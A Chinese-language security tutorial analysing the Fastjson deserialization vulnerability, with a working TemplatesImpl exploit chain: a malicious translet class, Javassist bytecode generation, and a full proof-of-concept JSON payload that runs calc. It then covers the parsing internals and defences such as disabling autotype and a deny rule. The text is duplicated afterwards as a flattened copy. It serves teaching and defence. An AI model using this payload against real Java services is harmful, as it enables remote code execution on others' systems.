Java安全之Fastjson反序列化漏洞分析
字数 1221 2025-08-06 08:35:44

Fastjson反序列化漏洞深入分析与利用

0x00 前言

Fastjson是阿里巴巴的开源JSON处理库,广泛用于Java环境中JSON数据的解析和打包。本教程将深入分析Fastjson反序列化漏洞的原理、利用方式及防御措施。

0x01 Fastjson基础使用

Fastjson概述

Fastjson用于处理JSON格式数据,主要功能包括:

  • 将Java对象序列化为JSON字符串
  • 将JSON字符串反序列化为Java对象

核心API

// 序列化
String text = JSON.toJSONString(obj); 

// 反序列化
VO vo = JSON.parse(); // 解析为JSONObject或JSONArray
VO vo = JSON.parseObject("{...}"); // 解析为JSONObject
VO vo = JSON.parseObject("{...}", VO.class); // 解析为指定类

序列化示例

public class User {
    private String name;
    private int age;
    // getter/setter省略
}

User user = new User("xiaoming", 18);
String s = JSON.toJSONString(user); // {"age":18,"name":"xiaoming"}

自省功能

String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
// 结果: {"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}

@type字段标识对象类型,是漏洞利用的关键点。

0x02 反序列化漏洞原理

漏洞成因

Fastjson在反序列化时:

  1. 未严格校验@type指定的类
  2. 自动调用目标类的setter/getter方法
  3. 可通过特殊构造触发恶意代码执行

攻击面

两种主要利用链:

  1. TemplatesImpl链 - 通过类加载机制执行代码
  2. JdbcRowSetImpl链 - 通过JNDI注入实现攻击

0x03 TemplatesImpl链利用

利用条件

  • Fastjson 1.2.22-1.2.24版本
  • 需要开启Feature.SupportNonPublicField(支持反序列化private字段)

恶意类构造

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class EvilClass extends AbstractTranslet {
    public EvilClass() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
    // 必须实现的方法
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {}
}

动态生成字节码

使用Javassist动态生成恶意类:

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(Test.class.getName());
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);

完整POC

String payload = "{" +
    "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
    "'_name':'a.b'," +
    "'_tfactory':{}," +
    "'_outputProperties':{}" +
    "}";

ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);

关键参数说明

  • @type: 指定TemplatesImpl类
  • _bytecodes: Base64编码的恶意类字节码
  • _name: 不能为null,否则利用链中断
  • _tfactory: 避免defineTransletClasses中异常
  • _outputProperties: 触发getOutputProperties()方法

0x04 漏洞分析

反序列化流程

  1. 解析JSON字符串,识别@type字段
  2. 通过反射加载指定类
  3. 调用JavaBeanDeserializer处理对象
  4. 解析各字段并赋值
  5. 调用getter/setter方法

关键点分析

  1. @type处理:

    if (key == JSON.DEFAULT_TYPE_KEY) {
        ref = lexer.scanSymbol(this.symbolTable, '"');
        clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    }
    
  2. 方法提取:

    • 扫描类中所有方法
    • 识别getter(setter)方法:
      • 方法名长度≥4
      • 非静态方法
      • 以get/set开头
      • 参数匹配
  3. 字节码处理:

    // DefaultJSONParser.java
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        byte[] bytes = IOUtils.decodeBase64(lexer.stringVal());
    }
    

0x05 防御措施

  1. 升级Fastjson:

    • 使用1.2.25及以上版本
    • 默认关闭autotype功能
  2. 安全配置:

    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
    ParserConfig.getGlobalInstance().addDeny("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    
  3. 输入过滤:

    • 校验JSON数据来源
    • 过滤危险@type
  4. JVM防护:

    • 设置SecurityManager
    • 限制反射权限

0x06 总结

Fastjson反序列化漏洞危害严重,攻击者可实现远程代码执行。理解漏洞原理和利用方式有助于更好地防御此类攻击。关键点包括:

  • @type字段的自省功能
  • TemplatesImpl的字节码加载机制
  • 非public字段的反序列化
  • 防御措施的正确实施

建议开发者及时升级Fastjson版本,并严格校验反序列化的数据来源。

Fastjson反序列化漏洞深入分析与利用 0x00 前言 Fastjson是阿里巴巴的开源JSON处理库,广泛用于Java环境中JSON数据的解析和打包。本教程将深入分析Fastjson反序列化漏洞的原理、利用方式及防御措施。 0x01 Fastjson基础使用 Fastjson概述 Fastjson用于处理JSON格式数据,主要功能包括: 将Java对象序列化为JSON字符串 将JSON字符串反序列化为Java对象 核心API 序列化示例 自省功能 @type 字段标识对象类型,是漏洞利用的关键点。 0x02 反序列化漏洞原理 漏洞成因 Fastjson在反序列化时: 未严格校验 @type 指定的类 自动调用目标类的setter/getter方法 可通过特殊构造触发恶意代码执行 攻击面 两种主要利用链: TemplatesImpl链 - 通过类加载机制执行代码 JdbcRowSetImpl链 - 通过JNDI注入实现攻击 0x03 TemplatesImpl链利用 利用条件 Fastjson 1.2.22-1.2.24版本 需要开启 Feature.SupportNonPublicField (支持反序列化private字段) 恶意类构造 动态生成字节码 使用Javassist动态生成恶意类: 完整POC 关键参数说明 @type : 指定TemplatesImpl类 _bytecodes : Base64编码的恶意类字节码 _name : 不能为null,否则利用链中断 _tfactory : 避免defineTransletClasses中异常 _outputProperties : 触发getOutputProperties()方法 0x04 漏洞分析 反序列化流程 解析JSON字符串,识别 @type 字段 通过反射加载指定类 调用JavaBeanDeserializer处理对象 解析各字段并赋值 调用getter/setter方法 关键点分析 @type处理 : 方法提取 : 扫描类中所有方法 识别getter(setter)方法: 方法名长度≥4 非静态方法 以get/set开头 参数匹配 字节码处理 : 0x05 防御措施 升级Fastjson : 使用1.2.25及以上版本 默认关闭autotype功能 安全配置 : 输入过滤 : 校验JSON数据来源 过滤危险 @type 值 JVM防护 : 设置SecurityManager 限制反射权限 0x06 总结 Fastjson反序列化漏洞危害严重,攻击者可实现远程代码执行。理解漏洞原理和利用方式有助于更好地防御此类攻击。关键点包括: @type 字段的自省功能 TemplatesImpl的字节码加载机制 非public字段的反序列化 防御措施的正确实施 建议开发者及时升级Fastjson版本,并严格校验反序列化的数据来源。